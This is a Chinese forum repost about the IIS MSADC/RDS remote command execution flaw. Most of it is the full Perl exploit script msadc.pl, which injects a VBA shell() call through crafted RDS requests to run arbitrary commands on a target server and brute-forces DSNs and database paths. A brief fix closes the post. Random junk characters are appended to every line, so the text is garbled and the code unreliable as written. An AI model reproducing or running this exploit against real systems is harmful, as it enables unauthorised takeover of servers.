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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) E1r-$gf_  
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涉及程序: ;b{yu|  
Microsoft NT server kEgpF{"%n  
clG@]<a`_  
描述: 7|5X> yt  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Ii9[[I  
F f{,zfN+3  
详细: BLN|QaZ  
如果你没有时间读详细内容的话,就删除: 3 daI_Nx>  
c:\Program Files\Common Files\System\Msadc\msadcs.dll acrR  
有关的安全问题就没有了。 arIEd VfNa  
Um}f7^fp^l  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 eFh7#~m  
6Hbu7r*tm  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 g,9&@g/  
关于利用ODBC远程漏洞的描述,请参看: 3v@h&7<E  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ?g\emhG  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 m"@o  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp  nU4to  
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这里不再论述。 6r|=^3{  
W#)X@TlE  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: F r!FV4  
-MRX@a^1  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset @Jx1n Q^  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! IRGcE&m  
h;@c%Vm  
qnCjNN  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Fw\g\  
\TZSn1isZX  
#!perl e)= " Fq!  
# cYp/? \  
# MSADC/RDS 'usage' (aka exploit) script zauDwV=  
# 6P3h955c  
# by rain.forest.puppy fy]c=:EmD  
# UX+vU@Co[  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me $xT9e  
# beta test and find errors! WkiPrQ0]:  
-woFKAy`  
use Socket; use Getopt::Std; Q^;:Kl.b  
getopts("e:vd:h:XR", \%args); ua"2nVxK_K  
s+~GQcj<T  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; )=#e*1!b  
Esu {c9,  
if (!defined $args{h} && !defined $args{R}) { j]FK.G'  
print qq~ g<@Q)p*ow  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Uks%Mo9on  
-h <host> = host you want to scan (ip or domain) ? cXW\A(  
-d <seconds> = delay between calls, default 1 second /IN#1I!K  
-X = dump Index Server path table, if available 5 w(nttYH  
-v = verbose HKr}"`I.  
-e = external dictionary file for step 5 43x2BW&&  
RC}m]!Uz  
Or a -R will resume a command session w3ATsIw  
_p>F43%p  
~; exit;} ,-hbwd~M  
&r.M~k >  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ; PncJe5x  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} :hT.L3n,  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} KF6C=,Yc%  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ~o#mX?'7  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} NT0n [o^  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ]J[d8S5  
S)g:+P  
if (!defined $args{R}){ $ret = &has_msadc; 81"` B2  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Pz34a@%"  
=[8K#PZ$w  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" _P=+\ [|y  
. "cmd /c "; tAE(`ow/Ur  
$in=<STDIN>; chomp $in; 5JhvYsf3_  
$command="cmd /c " . $in ; HdgNy\  
x!fG%o~h  
if (defined $args{R}) {&load; exit;} QyxUK}6mr  
]=VRct "  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ^*i0~_  
&try_btcustmr; Gbjh|j=  
>{QO$F#  
print "\nStep 2: Trying to make our own DSN..."; aW*k,\:e  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Q?;Tc.O"/  
6_<~]W&  
print "\nStep 3: Trying known DSNs..."; ;@T0wd_i|  
&known_dsn; #D/*<:q5  
R)BXN~dQ  
print "\nStep 4: Trying known .mdbs..."; e@qH!.g)  
&known_mdb; -$?t+ "/E  
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if (defined $args{e}){ y+T[="W  
print "\nStep 5: Trying dictionary of DSN names..."; ~uH_y-  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 04jvrde8-O  
yq49fEgc@U  
print "Sorry Charley...maybe next time?\n"; 6F!B*lr  
exit; (M"rpG>L  
$&&E[JY  
############################################################################## 2mn AL#  
^P^%Q)QXl  
sub sendraw { # ripped and modded from whisker e*qGrg(E  
sleep($delay); # it's a DoS on the server! At least on mine... E(j# R"  
my ($pstr)=@_; P woiX#vz  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :^PksR  
die("Socket problems\n"); }04mJY[  
if(connect(S,pack "SnA4x8",2,80,$target)){ hrtz>qN  
select(S); $|=1; w8>h6x "  
print $pstr; my @in=<S>; OtoM  
select(STDOUT); close(S); hiBsksZRnk  
return @in; GyWa=KW.u  
} else { die("Can't connect...\n"); }} 71\53Qr#U  
3ZI7;Gw  
############################################################################## njf\fw_  
C<AW)|r_  
sub make_header { # make the HTTP request &n )MGg1%  
my $msadc=<<EOT (z>t4(%\  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 R?O)v Lmd  
User-Agent: ACTIVEDATA 6IG?t  
Host: $ip Kc?4q=7q  
Content-Length: $clen &G\mcstX  
Connection: Keep-Alive y0sce  
w+>+hq  
ADCClientVersion:01.06 \OA{&G.  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 4[@YF@_=M  
t|eH'"N%o  
--!ADM!ROX!YOUR!WORLD! EC;>-s  
Content-Type: application/x-varg Cp(2]Eb  
Content-Length: $reqlen Nw'03Jzx_  
;5bd<N  
EOT A$3Rbn}"  
; $msadc=~s/\n/\r\n/g; IO)#O<  
return $msadc;} m9oOH5@K~  
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############################################################################## {?eUAB<  
<kdlXS>J.  
sub make_req { # make the RDS request 3}<U'%sd  
my ($switch, $p1, $p2)=@_; zk FX[-'O  
my $req=""; my $t1, $t2, $query, $dsn; N=BG0t$  
(_zlCHB  
if ($switch==1){ # this is the btcustmr.mdb query *$g!/,  
$query="Select * from Customers where City=" . make_shell(); k_L`  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . GeTk/tU  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} nFNRiDx  
#dj?^n g  
elsif ($switch==2){ # this is general make table query uy'seJ  
$query="create table AZZ (B int, C varchar(10))"; v^b4WS+.:  
$dsn="$p1";} (tX3?[ii  
+ODua@ULFB  
elsif ($switch==3){ # this is general exploit table query OALNZKP  
$query="select * from AZZ where C=" . make_shell(); yl~_~<s6  
$dsn="$p1";} ^~;ia7V&2  
+Cw_qS"=  
elsif ($switch==4){ # attempt to hork file info from index server  ~2"hh$  
$query="select path from scope()"; )"pvF8JR%3  
$dsn="Provider=MSIDXS;";} R~4X?@ZB  
Q !;syJBb.  
elsif ($switch==5){ # bad query 1j$\ 48Z  
$query="select"; xKG7d8=  
$dsn="$p1";} );h(D!D,  
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$t1= make_unicode($query); ^PTf8o  
$t2= make_unicode($dsn); Bi:lC5d5?  
$req = "\x02\x00\x03\x00"; din,yHu~  
$req.= "\x08\x00" . pack ("S1", length($t1)); ?b,>+v-w::  
$req.= "\x00\x00" . $t1 ; &2y4k"B&)  
$req.= "\x08\x00" . pack ("S1", length($t2)); }yEV&& @  
$req.= "\x00\x00" . $t2 ; w'2FYe{wj  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; J+`aj8_B  
return $req;} VTu#)I7A^@  
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############################################################################## $] We|  
#m.e9MU  
sub make_shell { # this makes the shell() statement v 49o$s4J  
return "'|shell(\"$command\")|'";} F'Y ad  
cRVL1ne  
############################################################################## . ,^WCyvq  
2|,L 9  
sub make_unicode { # quick little function to convert to unicode I_ mus<sE  
my ($in)=@_; my $out; IC0L&;En  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } dT|f<E/P  
return $out;} CaJ-oy8  
P35DVKS  
############################################################################## Dcvul4Q  
tk%f_"}  
sub rdo_success { # checks for RDO return success (this is kludge) X ."z+-eh  
my (@in) = @_; my $base=content_start(@in); m}uOBR+  
if($in[$base]=~/multipart\/mixed/){ b&U1^{(  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} B`B =bn+4  
return 0;} XMuZ}u[U  
hy*{ {f;  
############################################################################## *8Z2zmZtR^  
('5?-  
sub make_dsn { # this makes a DSN for us [CI&4) #  
my @drives=("c","d","e","f"); w(Z?j%b  
print "\nMaking DSN: "; 32[}@f2q  
foreach $drive (@drives) { KdR4<qVV}  
print "$drive: "; h=7q;-@7  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . b_31 \  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" qNQ54#  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); e^Zm09J  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; VI2lw E3  
return 0 if $2 eq "404"; # not found/doesn't exist fHup&|.  
if($2 eq "200") { W[8Kia-OD  
foreach $line (@results) { /| v.A\ :  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} <kK>C8+  
} return 0;} OyZR&,q  
*): |WDR  
############################################################################## Cs6`lX >  
z qeQ  
sub verify_exists { ZRagM'K  
my ($page)=@_; vA/SrX.  
my @results=sendraw("GET $page HTTP/1.0\n\n"); G)Gp}4gV}  
return $results[0];} _uQ]I^'D  
1INX#qTZ  
############################################################################## z'q~%1t  
S}@7Z`  
sub try_btcustmr { y&NqVR=   
my @drives=("c","d","e","f"); M~taZt4  
my @dirs=("winnt","winnt35","winnt351","win","windows"); )7>GXZG>=  
AByl1)r|  
foreach $dir (@dirs) { @t9HRL?T~  
print "$dir -> "; # fun status so you can see progress PftK>,+,  
foreach $drive (@drives) { S<i$0p8J;  
print "$drive: "; # ditto rOSov"7  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; iHD!v7d7  
$reqlenlen=length( "$reqlen" ); 2LwJ%!  
$clen= 206 + $reqlenlen + $reqlen; "I.6/9  
h6h6B.\ Ld  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Ei4^__g\'  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} <7^|@L 6  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} %Rk|B`ST  
$Ll9ak}  
############################################################################## = l`)b  
NIV}hf YF  
sub odbc_error { #fuUAbU0X  
my (@in)=@_; my $base; v"G1vSx)BT  
my $base = content_start(@in); iq; | i!  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 75# 8P?i  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; g&$=Y7G  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; tIuM9D{P  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *2/Jg'de  
return $in[$base+4].$in[$base+5].$in[$base+6];} axC|,8~tq  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ,;g%/6X  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . P@7>R7gS  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} <0CjEsAB]  
NHd@s#@  
############################################################################## KL&/Yt   
2 *NPK}  
sub verbose { Rt8[P6e"q  
my ($in)=@_; h* S"]ye5  
return if !$verbose; -n _Y.~  
print STDOUT "\n$in\n";} LDlYLs F9  
rqamBm 5  
############################################################################## Q0xO;20  
t+?Bb7p,H  
sub save { P7drUiX  
my ($p1, $p2, $p3, $p4)=@_; l]]NVBA])  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; fs! dI  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; \dk1a  
close OUT;}  FOiwA.:0  
qOo4T@ t3  
############################################################################## % N8I'*u  
f8Hq&_Pn   
sub load { ReaZg ?:h  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; z=D5*  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 6FB 0g8  
@p=<IN>; close(IN); *rq*li;  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); c^r8<KlI9  
$target= inet_aton($ip) || die("inet_aton problems"); z$1RD)TQB  
print "Resuming to $ip ..."; fbq$:Q44  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ziM{2Fs>  
if($p[1]==1) { ;(NTzBq!1  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Z0<Vss  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ,&o9\|ih7]  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); k1B ](@xt  
if (rdo_success(@results)){print "Success!\n";} !1$x4 qxS  
else { print "failed\n"; verbose(odbc_error(@results));}} %KQ1{"  
elsif ($p[1]==3){ g257jarkMF  
if(run_query("$p[3]")){ iuV4xyp  
print "Success!\n";} else { print "failed\n"; }} i 8sv,P  
elsif ($p[1]==4){ \Id8X`,eD  
if(run_query($drvst . "$p[3]")){ b<a3Ue%  
print "Success!\n"; } else { print "failed\n"; }} mA(kq   
exit;} 8SjCU+V  
?0Q3F  
############################################################################## w~]2c{\Qz  
P27Ot1px  
sub create_table { ,HjJ jpE  
my ($in)=@_; P y'BMk  
$reqlen=length( make_req(2,$in,"") ) - 28; Z518J46o  
$reqlenlen=length( "$reqlen" ); {Ydhplg{  
$clen= 206 + $reqlenlen + $reqlen; lS=YnMs6a  
my @results=sendraw(make_header() . make_req(2,$in,"")); <-`bWz=+  
return 1 if rdo_success(@results); ufL,K q4  
my $temp= odbc_error(@results); verbose($temp); g#I`P&  
return 1 if $temp=~/Table 'AZZ' already exists/; 3! P^?[p3  
return 0;} 0F$|`v"0  
Zo=,!@q(  
############################################################################## Ab$E@H #  
)q$[uS_1[  
sub known_dsn { 4phCn5  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 0AnL]`"t.3  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", cj>@Jx}]M  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", r]e{~v/  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 2zj` H9  
WA n@8!9  
foreach $dSn (@dsns) { |r@;ulO  
print "."; O@$>'Z  
next if (!is_access("DSN=$dSn")); 2-F7tcya|  
if(create_table("DSN=$dSn")){ xU\!UVQ/  
print "$dSn successful\n"; Ec7xwPk  
if(run_query("DSN=$dSn")){ A+/Lt>+AS  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Q4mtfpiDx  
print "Something's borked. Use verbose next time\n";}}} print "\n";} "5JMk -2k  
%`~4rf"7  
############################################################################## #A>*pF  
oIrc))j,$  
sub is_access { ckX8eg!f  
my ($in)=@_; L91(|gQP  
$reqlen=length( make_req(5,$in,"") ) - 28; HG7Qdw2+O  
$reqlenlen=length( "$reqlen" ); +C=vuR  
$clen= 206 + $reqlenlen + $reqlen; oCo~,~kTR  
my @results=sendraw(make_header() . make_req(5,$in,"")); .\ bJ,of9  
my $temp= odbc_error(@results); dO D(<  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); lr&2,p<  
return 0;} AG >D,6Y  
tN{0C/B9  
############################################################################## l&H-<Z.8m  
ca=MUm=B  
sub run_query { . r/s.g  
my ($in)=@_; q;SD+%tI  
$reqlen=length( make_req(3,$in,"") ) - 28; t_/qd9Jv  
$reqlenlen=length( "$reqlen" ); o9sQ!gptw  
$clen= 206 + $reqlenlen + $reqlen; GVT 6cR  
my @results=sendraw(make_header() . make_req(3,$in,"")); !MSa -  
return 1 if rdo_success(@results); i%yKyfD  
my $temp= odbc_error(@results); verbose($temp); n[/D>Pi  
return 0;} CX#d  
!d##q)D f?  
############################################################################## 6UIS4 _   
X[J<OTj`$  
sub known_mdb { eGMw:H  
my @drives=("c","d","e","f","g"); (F'~K,0  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 2`i &6iz  
my $dir, $drive, $mdb; [CHN3&l-5S  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5]{rim  
!jP[=  
# this is sparse, because I don't know of many /8Lb_QH{  
my @sysmdbs=( "\\catroot\\icatalog.mdb", !UzE&CirV  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ,vR>hyM  
"\\system32\\certmdb.mdb", v0'z''KM!  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% :{w3l O  
I>ML I=[Kg  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", r[E#JHw  
"\\cfusion\\cfapps\\forums\\forums_.mdb", p&}m')  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Va[&~lA)  
"\\cfusion\\cfapps\\security\\realm_.mdb", 7gtaI3   
"\\cfusion\\cfapps\\security\\data\\realm.mdb", #W:.Fsq  
"\\cfusion\\database\\cfexamples.mdb", &'\-M6GW  
"\\cfusion\\database\\cfsnippets.mdb", n_sV>$f-u  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", -/8V2dv3  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ;4+z~7Je]^  
"\\cfusion\\brighttiger\\database\\cleam.mdb", \1R*M  
"\\cfusion\\database\\smpolicy.mdb", Xk:x=4u&  
"\\cfusion\\database\cypress.mdb", hj=n;,a9  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", covCa)kf  
"\\website\\cgi-win\\dbsample.mdb", z%fjG}z  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", i (rYc  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ?(s9dS,7wZ  
); #these are just qPu?rU{2  
foreach $drive (@drives) { ; <- f  
foreach $dir (@dirs){ 3meZ]u  
foreach $mdb (@sysmdbs) { P'}EZ'  
print "."; OfLj 4H 6Q  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 6T"5,Q</h  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; FkaQVT  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ <a CzB7x  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; *o=Z~U9z  
} else { print "Something's borked. Use verbose next time\n"; }}}}} x>i =  
8U#14U5rS  
foreach $drive (@drives) { ddYb=L+_b  
foreach $mdb (@mdbs) { B <Jxj  
print "."; RCkmxO;b&  
if(create_table($drv . $drive . $dir . $mdb)){ __z/X"H  
print "\n" . $drive . $dir . $mdb . " successful\n"; EhW@iYL  
if(run_query($drv . $drive . $dir . $mdb)){ }lk9|U#6*`  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; k]4CN  
} else { print "Something's borked. Use verbose next time\n"; }}}} Kj"n Id)  
} iR4"I7J  
TbqtT_{  
############################################################################## jxK `ShW=  
HELTL$j,b  
sub hork_idx { be6`Sv"H  
print "\nAttempting to dump Index Server tables...\n"; $7-4pW$y  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Ow0~sFz  
$reqlen=length( make_req(4,"","") ) - 28; T+V:vuK  
$reqlenlen=length( "$reqlen" ); 98}l`J=i  
$clen= 206 + $reqlenlen + $reqlen; ~ LH).\V  
my @results=sendraw2(make_header() . make_req(4,"","")); @&h_+|:-  
if (rdo_success(@results)){ Q{hK+z`D  
my $max=@results; my $c; my %d; &Ai +t2  
for($c=19; $c<$max; $c++){ 6_EfOD9  
$results[$c]=~s/\x00//g; jJ>I*'w  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; NR^Z#BU  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; &sq q+&ao  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; c:DV8'fT  
$d{"$1$2"}="";} <95*z @  
foreach $c (keys %d){ print "$c\n"; } F0xm% ?  
} else {print "Index server doesn't seem to be installed.\n"; }} "t{D5{q|[k  
p=Q o92 NH  
############################################################################## FN0<iL  
*XXa 9z  
sub dsn_dict { k%RQf0`T  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); wh]v{Fi'  
while(<IN>){ <.|]%7  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; -P]onD  
next if (!is_access("DSN=$dSn")); O|;|7fCB\  
if(create_table("DSN=$dSn")){ 6%VRQ#g!  
print "$dSn successful\n"; 6.v)q,JL  
if(run_query("DSN=$dSn")){ e ~G IUwJ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _T^@,!&  
print "Something's borked. Use verbose next time\n";}}} G!GGT?J  
print "\n"; close(IN);} B3u:D"t  
~\R+p~>  
############################################################################## 3k+46Wp  
=rNI&K_<  
sub sendraw2 { # ripped and modded from whisker S?H qrf7<  
sleep($delay); # it's a DoS on the server! At least on mine... Yu9(qRK  
my ($pstr)=@_; e58tf3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || GQkI7C  
die("Socket problems\n"); ()$tP3 o  
if(connect(S,pack "SnA4x8",2,80,$target)){ w3Qil[rg  
print "Connected. Getting data"; n\scOM)3  
open(OUT,">raw.out"); my @in; XQ k ,xQ  
select(S); $|=1; print $pstr; B?XqH_=0L  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} BfvvJh_  
close(OUT); select(STDOUT); close(S); return @in; 7baQ4QY?n  
} else { die("Can't connect...\n"); }} 62OZj%CXN  
&ZPyZj  
############################################################################## |A u+^#:;  
j|WN!!7  
sub content_start { # this will take in the server headers 2K(zYv54  
my (@in)=@_; my $c; p\|*ff0  
for ($c=1;$c<500;$c++) { k5Df9 7\s  
if($in[$c] =~/^\x0d\x0a/){ {Pi]i?   
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Gy[m4n~Z5  
else { return $c+1; }}} ;x=0+0JD  
return -1;} # it should never get here actually fH 5/  
s4\_%je<v  
############################################################################## \N]2V(v  
wtro'r3  
sub funky { 4q^'MZm1  
my (@in)=@_; my $error=odbc_error(@in); DmpD`^?-L  
if($error=~/ADO could not find the specified provider/){ yFqB2(Dv  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; )6-!,D0db  
exit;} 7gbu7"Qc  
if($error=~/A Handler is required/){ Pu|3_3^  
print "\nServer has custom handler filters (they most likely are patched)\n"; 7N fA)$  
exit;} *p%=u>?&  
if($error=~/specified Handler has denied Access/){ [lAZ)6E~=  
print "\nServer has custom handler filters (they most likely are patched)\n"; 4}HY= 0Um  
exit;}} >uDE<MUC  
Bt-2S,c,o  
############################################################################## TzY[- YlvF  
"PY&NL?  
sub has_msadc { ^{fA:N=  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); &Ukh  
my $base=content_start(@results); _"c?[n  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); PeB7Q=d)K1  
return 0;} ER$qL"H U  
+dSO?Y]  
######################## sq'bo8r  
-Fs<{^E3j  
2~*.X^dR  
解决方案: _0e;&2')  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll lK3Z}e*eXQ  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 S U$U  
%oE3q>S$en  
拿出来充数 哈哈
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